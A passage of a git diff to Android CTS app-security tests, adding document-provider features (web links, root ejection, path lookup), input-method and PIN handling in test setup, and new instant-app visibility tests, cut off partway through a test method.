+    protected static final long TIMEOUT = 30 * DateUtils.SECOND_IN_MILLIS;
+    protected static final int REQUEST_CODE = 42;
+
+    static final String PROVIDER_PACKAGE = "com.android.cts.documentprovider";
+
     private static final String TAG = "DocumentsClientTestCase";
 
     protected UiDevice mDevice;
     protected MyActivity mActivity;
 
-    protected static final long TIMEOUT = 30 * DateUtils.SECOND_IN_MILLIS;
-    protected static final int REQUEST_CODE = 42;
+    private String[] mDisabledImes;
 
     @Override
     public void setUp() throws Exception {
@@ -58,6 +62,11 @@
 
         Configurator.getInstance().setToolType(MotionEvent.TOOL_TYPE_FINGER);
 
+        // Disable IME's to avoid virtual keyboards from showing up. Occasionally IME draws some UI
+        // controls out of its boundary for some first time setup that obscures the text edit and/or
+        // save/select button. This will constantly fail some of our tests.
+        disableImes();
+
         mDevice = UiDevice.getInstance(getInstrumentation());
         mActivity = launchActivity(getInstrumentation().getTargetContext().getPackageName(),
                 MyActivity.class, null);
@@ -68,6 +77,8 @@
     public void tearDown() throws Exception {
         super.tearDown();
         mActivity.finish();
+
+        enableImes();
     }
 
     protected String getColumn(Uri uri, String column) {
@@ -161,4 +172,17 @@
         }
         executeShellCommand("pm clear com.android.documentsui");
     }
+
+    private void disableImes() throws Exception {
+        mDisabledImes = executeShellCommand("ime list -s").split("\n");
+        for (String ime : mDisabledImes) {
+            executeShellCommand("ime disable " + ime);
+        }
+    }
+
+    private void enableImes() throws Exception {
+        for (String ime : mDisabledImes) {
+            executeShellCommand("ime enable " + ime);
+        }
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
index ef51768..915d432 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml
index c0fc6cc..894eff1 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/AndroidManifest.xml
@@ -36,5 +36,8 @@
                 <data android:mimeType="image/*" />
             </intent-filter>
         </activity>
+
+        <activity android:name=".WebLinkActivity">
+        </activity>
     </application>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
index 19ba2f7..edf6f15 100644
--- a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/MyDocumentsProvider.java
@@ -16,6 +16,9 @@
 
 package com.android.cts.documentprovider;
 
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.content.IntentSender;
 import android.content.res.AssetFileDescriptor;
 import android.database.Cursor;
 import android.database.MatrixCursor;
@@ -27,6 +30,7 @@
 import android.os.ParcelFileDescriptor;
 import android.provider.DocumentsContract;
 import android.provider.DocumentsContract.Document;
+import android.provider.DocumentsContract.Path;
 import android.provider.DocumentsContract.Root;
 import android.provider.DocumentsProvider;
 import android.util.Log;
@@ -38,12 +42,18 @@
 import java.io.OutputStream;
 import java.util.ArrayList;
 import java.util.HashMap;
+import java.util.LinkedList;
 import java.util.List;
 import java.util.Map;
+import java.util.concurrent.atomic.AtomicInteger;
 
 public class MyDocumentsProvider extends DocumentsProvider {
     private static final String TAG = "TestDocumentsProvider";
 
+    private static final String AUTHORITY = "com.android.cts.documentprovider";
+
+    private static final int WEB_LINK_REQUEST_CODE = 321;
+
     private static final String[] DEFAULT_ROOT_PROJECTION = new String[] {
             Root.COLUMN_ROOT_ID, Root.COLUMN_FLAGS, Root.COLUMN_ICON, Root.COLUMN_TITLE,
             Root.COLUMN_DOCUMENT_ID, Root.COLUMN_AVAILABLE_BYTES,
@@ -62,6 +72,8 @@
         return projection != null ? projection : DEFAULT_DOCUMENT_PROJECTION;
     }
 
+    private boolean mEjected = false;
+
     @Override
     public boolean onCreate() {
         resetRoots();
@@ -85,6 +97,15 @@
         row.add(Root.COLUMN_TITLE, "CtsCreate");
         row.add(Root.COLUMN_DOCUMENT_ID, "doc:create");
 
+        if (!mEjected) {
+            row = result.newRow();
+            row.add(Root.COLUMN_ROOT_ID, "eject");
+            row.add(Root.COLUMN_FLAGS, Root.FLAG_SUPPORTS_EJECT);
+            row.add(Root.COLUMN_TITLE, "eject");
+            // Reuse local docs, but not used for testing
+            row.add(Root.COLUMN_DOCUMENT_ID, "doc:local");
+        }
+
         return result;
     }
 
@@ -92,6 +113,7 @@
 
     private Doc mLocalRoot;
     private Doc mCreateRoot;
+    private final AtomicInteger mNextDocId = new AtomicInteger(0);
 
     private Doc buildDoc(String docId, String displayName, String mimeType,
             String[] streamTypes) {
@@ -107,6 +129,8 @@
     public void resetRoots() {
         Log.d(TAG, "resetRoots()");
 
+        mEjected = false;
+
         mDocs.clear();
 
         mLocalRoot = buildDoc("doc:local", null, Document.MIME_TYPE_DIR, null);
@@ -139,6 +163,15 @@
             mCreateRoot.children.add(virtualFile);
         }
 
+        {
+            Doc webLinkableFile = buildDoc("doc:web-linkable-file", "WEB_LINKABLE_FILE",
+                    "application/icecream", new String[] { "text/plain" });
+            webLinkableFile.flags = Document.FLAG_VIRTUAL_DOCUMENT | Document.FLAG_WEB_LINKABLE;
+            webLinkableFile.contents = "Fake contents.".getBytes();
+            mLocalRoot.children.add(webLinkableFile);
+            mCreateRoot.children.add(webLinkableFile);
+        }
+
         Doc dir1 = buildDoc("doc:dir1", "DIR1", Document.MIME_TYPE_DIR, null);
         mLocalRoot.children.add(dir1);
 
@@ -206,7 +239,7 @@
     @Override
     public String createDocument(String parentDocumentId, String mimeType, String displayName)
             throws FileNotFoundException {
-        final String docId = "doc:" + System.currentTimeMillis();
+        final String docId = "doc:" + mNextDocId.getAndIncrement();
         final Doc doc = buildDoc(docId, displayName, mimeType, null);
         doc.flags = Document.FLAG_SUPPORTS_WRITE | Document.FLAG_SUPPORTS_RENAME;
         mDocs.get(parentDocumentId).children.add(doc);
@@ -264,6 +297,43 @@
     }
 
     @Override
+    public Path findDocumentPath(String parentDocumentId, String documentId)
+            throws FileNotFoundException {
+        if (!mDocs.containsKey(documentId)) {
+            throw new FileNotFoundException(documentId + " is not found.");
+        }
+
+        final Map<String, String> parentMap = new HashMap<>();
+        for (Doc doc : mDocs.values()) {
+            for (Doc childDoc : doc.children) {
+                parentMap.put(childDoc.docId, doc.docId);
+            }
+        }
+
+        String currentDocId = documentId;
+        final LinkedList<String> path = new LinkedList<>();
+        while (!currentDocId.equals(parentDocumentId)
+                && !currentDocId.equals(mLocalRoot.docId)
+                && !currentDocId.equals(mCreateRoot.docId)) {
+            path.addFirst(currentDocId);
+            currentDocId = parentMap.get(currentDocId);
+        }
+
+        if (parentDocumentId != null && !currentDocId.equals(parentDocumentId)) {
+            throw new FileNotFoundException(documentId + " is not found under " + parentDocumentId);
+        }
+
+        // Add the root doc / parent doc
+        path.addFirst(currentDocId);
+
+        String rootId = null;
+        if (parentDocumentId == null) {
+            rootId = currentDocId.equals(mLocalRoot.docId) ? "local" : "create";
+        }
+        return new Path(rootId, path);
+    }
+
+    @Override
     public Cursor queryDocument(String documentId, String[] projection)
             throws FileNotFoundException {
         final MatrixCursor result = new MatrixCursor(resolveDocumentProjection(projection));
@@ -389,6 +459,40 @@
         throw new UnsupportedOperationException("Unsupported MIME type filter for tests.");
     }
 
+    @Override
+    public IntentSender createWebLinkIntent(String documentId, Bundle options)
+            throws FileNotFoundException {
+        final Doc doc = mDocs.get(documentId);
+        if (doc == null) {
+            throw new FileNotFoundException();
+        }
+        if ((doc.flags & Document.FLAG_WEB_LINKABLE) == 0) {
+            throw new IllegalArgumentException("The file is not web linkable");
+        }
+
+        final Intent intent = new Intent(getContext(), WebLinkActivity.class);
+        intent.putExtra(WebLinkActivity.EXTRA_DOCUMENT_ID, documentId);
+        if (options != null) {
+            intent.putExtras(options);
+        }
+
+        final PendingIntent pendingIntent = PendingIntent.getActivity(
+                getContext(), WEB_LINK_REQUEST_CODE, intent,
+                PendingIntent.FLAG_ONE_SHOT);
+        return pendingIntent.getIntentSender();
+    }
+
+    @Override
+    public void ejectRoot(String rootId) {
+        if ("eject".equals(rootId)) {
+            mEjected = true;
+            getContext().getContentResolver()
+                    .notifyChange(DocumentsContract.buildRootsUri(AUTHORITY), null);
+        }
+
+        throw new IllegalStateException("Root " + rootId + " doesn't support ejection.");
+    }
+
     private static byte[] readFullyNoClose(InputStream in) throws IOException {
         ByteArrayOutputStream bytes = new ByteArrayOutputStream();
         byte[] buffer = new byte[1024];
diff --git a/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/WebLinkActivity.java b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/WebLinkActivity.java
new file mode 100644
index 0000000..76deee3
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/DocumentProvider/src/com/android/cts/documentprovider/WebLinkActivity.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.documentprovider;
+
+import android.app.Activity;
+import android.app.AlertDialog.Builder;
+import android.app.AlertDialog;
+import android.content.DialogInterface;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class WebLinkActivity extends Activity {
+    public static final String EXTRA_DOCUMENT_ID =
+            "com.android.cts.documentprovider.EXTRA_DOCUMENT_ID";
+    private static final Uri FAKE_WEB_LINK = Uri.parse(
+            "http://www.foobar.com/shared/SW33TCH3RR13S");
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final String documentId = getIntent().getStringExtra(EXTRA_DOCUMENT_ID);
+        final String email = getIntent().getStringExtra(Intent.EXTRA_EMAIL);
+
+        new AlertDialog.Builder(this)
+            .setTitle("Grant permissions to this file to " + email + "?")
+            .setMessage(documentId)
+            .setPositiveButton(android.R.string.yes, new DialogInterface.OnClickListener() {
+                public void onClick(DialogInterface dialog, int which) {
+                    final Intent intent = new Intent();
+                    intent.setData(FAKE_WEB_LINK);
+                    setResult(RESULT_OK, intent);
+                    finish();
+                }
+             })
+            .setNegativeButton(android.R.string.no, new DialogInterface.OnClickListener() {
+                public void onClick(DialogInterface dialog, int which) {
+                    setResult(RESULT_CANCELED, null);
+                    finish();
+                }
+             })
+            .setIcon(android.R.drawable.ic_dialog_alert)
+            .show();
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
index d362ed6..930ac82 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/Android.mk
@@ -20,7 +20,7 @@
 
 LOCAL_MODULE_TAGS := tests
 LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := android-support-test ctsdeviceutil ctstestrunner ub-uiautomator
+LOCAL_STATIC_JAVA_LIBRARIES := android-support-test compatibility-device-util ctstestrunner ub-uiautomator
 
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
diff --git a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
index 1d27066..37744fa 100644
--- a/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
+++ b/hostsidetests/appsecurity/test-apps/EncryptionApp/src/com/android/cts/encryptionapp/EncryptionAppTest.java
@@ -92,6 +92,8 @@
         mDevice.waitForIdle();
 
         // Set a PIN for this user
+        mDevice.executeShellCommand("settings put global require_password_to_decrypt 0");
+        mDevice.executeShellCommand("locksettings set-disabled false");
         mDevice.executeShellCommand("locksettings set-pin 12345");
     }
 
@@ -105,6 +107,8 @@
 
         // Clear PIN for this user
         mDevice.executeShellCommand("locksettings clear --old 12345");
+        mDevice.executeShellCommand("locksettings set-disabled true");
+        mDevice.executeShellCommand("settings delete global require_password_to_decrypt");
     }
 
     public void doBootCountBefore() throws Exception {
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
new file mode 100644
index 0000000..e5cd607
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/Android.mk
@@ -0,0 +1,25 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+# Build the test APKs using their own makefiles
+include $(call all-makefiles-under,$(LOCAL_PATH))
+
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
new file mode 100644
index 0000000..b13432b
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/Android.mk
@@ -0,0 +1,40 @@
+#
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_JAVA_LIBRARIES := android.test.runner
+LOCAL_MODULE_TAGS := tests
+LOCAL_STATIC_JAVA_LIBRARIES := \
+    cts-aia-util \
+    android-support-test \
+    legacy-android-test \
+	ctsdeviceutillegacy \
+	ctstestrunner
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+
+LOCAL_SRC_FILES := $(call all-java-files-under, src)
+LOCAL_RESOURCE_DIR := $(LOCAL_PATH)/res
+
+LOCAL_PACKAGE_NAME := CtsEphemeralTestsEphemeralApp1
+
+LOCAL_PROGUARD_ENABLED := disabled
+LOCAL_DEX_PREOPT := false
+
+include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
new file mode 100644
index 0000000..ed3c3cf
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.ephemeralapp1"
+    android:targetSandboxVersion="2">
+    <uses-sdk
+        android:minSdkVersion="25" />
+
+    <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
+    <uses-permission android:name="android.permission.INTERNET" />
+    <application
+        android:label="@string/app_name">
+        <uses-library android:name="android.test.runner" />
+        <activity
+            android:name=".EphemeralActivity"
+            android:theme="@android:style/Theme.NoDisplay">
+            <!-- TEST: normal app can start w/o knowing about this activity -->
+            <intent-filter>
+                <action android:name="android.intent.action.VIEW" />
+                <category android:name="android.intent.category.DEFAULT" />
+                <category android:name="android.intent.category.BROWSABLE" />
+                <data android:scheme="https" />
+                <data android:host="cts.google.com" />
+                <data android:path="/ephemeral" />
+            </intent-filter>
+            <!-- TEST: ephemeral apps can see this activity using query methods -->
+            <!-- TEST: normal apps can't see this activity using query methods -->
+            <intent-filter android:priority="0">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <!-- TEST: ephemeral apps can start this activity using directed intent -->
+            <!-- TEST: normal apps can't start this activity using directed intent -->
+            <intent-filter android:priority="0">
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+        <activity
+            android:name=".EphemeralActivity2"
+            android:theme="@android:style/Theme.NoDisplay">
+            <!-- TEST: ephemeral apps can start this activity using directed intent -->
+            <!-- TEST: normal apps can't start this activity using directed intent -->
+            <intent-filter android:priority="0">
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL_PRIVATE" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+        <activity
+            android:name=".EphemeralActivity3"
+            android:theme="@android:style/Theme.NoDisplay">
+            <!-- TEST: ephemeral apps can start this activity using directed intent -->
+        </activity>
+        <activity android:name=".WebViewTestActivity" />
+        <service
+            android:name=".EphemeralService">
+            <!-- TEST: ephemeral apps can see this service using query methods -->
+            <intent-filter android:priority="0">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+            <!-- TEST: ephemeral apps can start this service using directed intent -->
+            <intent-filter android:priority="-10">
+                <action android:name="com.android.cts.ephemeraltest.START_EPHEMERAL" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </service>
+
+        <provider
+            android:name=".EphemeralProvider"
+            android:authorities="com.android.cts.ephemeralapp1.provider"
+            android:exported="true">
+            <intent-filter android:priority="0">
+                <action android:name="com.android.cts.ephemeraltest.QUERY" />
+            </intent-filter>
+        </provider>
+    </application>
+
+    <instrumentation
+        android:name="android.support.test.runner.AndroidJUnitRunner"
+        android:targetPackage="com.android.cts.ephemeralapp1" />
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/res/values/strings.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/res/values/strings.xml
new file mode 100644
index 0000000..4f9a368
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/res/values/strings.xml
@@ -0,0 +1,18 @@
+<!-- Copyright (C) 2016 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+  <string name="app_name">EphemeralApp1</string>
+</resources>
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
new file mode 100644
index 0000000..8ecd860
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -0,0 +1,1010 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.annotation.Nullable;
+import android.content.ActivityNotFoundException;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.ServiceConnection;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.ProviderInfo;
+import android.content.pm.ResolveInfo;
+import android.database.Cursor;
+import android.net.Uri;
+import android.os.Build;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.ServiceManager.ServiceNotFoundException;
+import android.provider.CalendarContract;
+import android.provider.ContactsContract;
+import android.provider.MediaStore;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.runner.AndroidJUnit4;
+import android.test.InstrumentationTestCase;
+
+import com.android.cts.util.TestResult;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.ServiceConfigurationError;
+import java.util.concurrent.SynchronousQueue;
+import java.util.concurrent.TimeUnit;
+
+@RunWith(AndroidJUnit4.class)
+public class ClientTest {
+    /** Action to start normal test activities */
+    private static final String ACTION_START_NORMAL =
+            "com.android.cts.ephemeraltest.START_NORMAL";
+    /** Action to start normal, exposed test activities */
+    private static final String ACTION_START_EXPOSED =
+            "com.android.cts.ephemeraltest.START_EXPOSED";
+    /** Action to start ephemeral test activities */
+    private static final String ACTION_START_EPHEMERAL =
+            "com.android.cts.ephemeraltest.START_EPHEMERAL";
+    /** Action to start private ephemeral test activities */
+    private static final String ACTION_START_EPHEMERAL_PRIVATE =
+            "com.android.cts.ephemeraltest.START_EPHEMERAL_PRIVATE";
+    /** Action to query for test activities */
+    private static final String ACTION_QUERY =
+            "com.android.cts.ephemeraltest.QUERY";
+    private static final String EXTRA_ACTIVITY_NAME =
+            "com.android.cts.ephemeraltest.EXTRA_ACTIVITY_NAME";
+    private static final String EXTRA_ACTIVITY_RESULT =
+            "com.android.cts.ephemeraltest.EXTRA_ACTIVITY_RESULT";
+
+    private BroadcastReceiver mReceiver;
+    private final SynchronousQueue<TestResult> mResultQueue = new SynchronousQueue<>();
+
+    @Before
+    public void setUp() throws Exception {
+        final IntentFilter filter =
+                new IntentFilter("com.android.cts.ephemeraltest.START_ACTIVITY");
+        filter.addCategory(Intent.CATEGORY_DEFAULT);
+        mReceiver = new ActivityBroadcastReceiver(mResultQueue);
+        InstrumentationRegistry.getContext()
+                .registerReceiver(mReceiver, filter, Context.RECEIVER_VISIBLE_TO_INSTANT_APPS);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        InstrumentationRegistry.getContext().unregisterReceiver(mReceiver);
+    }
+
+    @Test
+    public void testQuery() throws Exception {
+        // query normal activities
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).activityInfo.packageName,
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(resolveInfo.get(0).activityInfo.name,
+                    is("com.android.cts.ephemeralapp1.EphemeralActivity"));
+            assertThat(resolveInfo.get(0).isInstantAppAvailable,
+                    is(true));
+            assertThat(resolveInfo.get(1).activityInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).activityInfo.name,
+                    is("com.android.cts.normalapp.ExposedActivity"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        // query normal activities; directed package
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).activityInfo.packageName,
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(resolveInfo.get(0).activityInfo.name,
+                    is("com.android.cts.ephemeralapp1.EphemeralActivity"));
+            assertThat(resolveInfo.get(0).isInstantAppAvailable,
+                    is(true));
+            assertThat(resolveInfo.get(1).activityInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).activityInfo.name,
+                    is("com.android.cts.normalapp.ExposedActivity"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        // query normal activities; directed component
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry.getContext()
+                    .getPackageManager().queryIntentActivities(queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).activityInfo.packageName,
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(resolveInfo.get(0).activityInfo.name,
+                    is("com.android.cts.ephemeralapp1.EphemeralActivity"));
+            assertThat(resolveInfo.get(0).isInstantAppAvailable,
+                    is(true));
+            assertThat(resolveInfo.get(1).activityInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).activityInfo.name,
+                    is("com.android.cts.normalapp.ExposedActivity"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry
+                    .getContext().getPackageManager().queryIntentServices(queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(2));
+            assertThat(resolveInfo.get(0).serviceInfo.packageName,
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(resolveInfo.get(0).serviceInfo.name,
+                    is("com.android.cts.ephemeralapp1.EphemeralService"));
+            assertThat(resolveInfo.get(1).serviceInfo.packageName,
+                    is("com.android.cts.normalapp"));
+            assertThat(resolveInfo.get(1).serviceInfo.name,
+                    is("com.android.cts.normalapp.ExposedService"));
+            assertThat(resolveInfo.get(1).isInstantAppAvailable,
+                    is(false));
+        }
+
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            queryIntent.setPackage("com.android.cts.ephemeralapp1");
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry
+                    .getContext().getPackageManager().queryIntentServices(queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(1));
+            assertThat(resolveInfo.get(0).serviceInfo.packageName,
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(resolveInfo.get(0).serviceInfo.name,
+                    is("com.android.cts.ephemeralapp1.EphemeralService"));
+        }
+
+        {
+            final Intent queryIntent = new Intent(ACTION_QUERY);
+            queryIntent.setComponent(
+                    new ComponentName("com.android.cts.ephemeralapp1",
+                            "com.android.cts.ephemeralapp1.EphemeralService"));
+            final List<ResolveInfo> resolveInfo = InstrumentationRegistry
+                    .getContext().getPackageManager().queryIntentServices(queryIntent, 0 /*flags*/);
+            if (resolveInfo == null || resolveInfo.size() == 0) {
+                fail("didn't resolve any intents");
+            }
+            assertThat(resolveInfo.size(), is(1));
+            assertThat(resolveInfo.get(0).serviceInfo.packageName,
+                    is("com.android.cts.ephemeralapp1"));
+            assertThat(resolveInfo.get(0).serviceInfo.name,
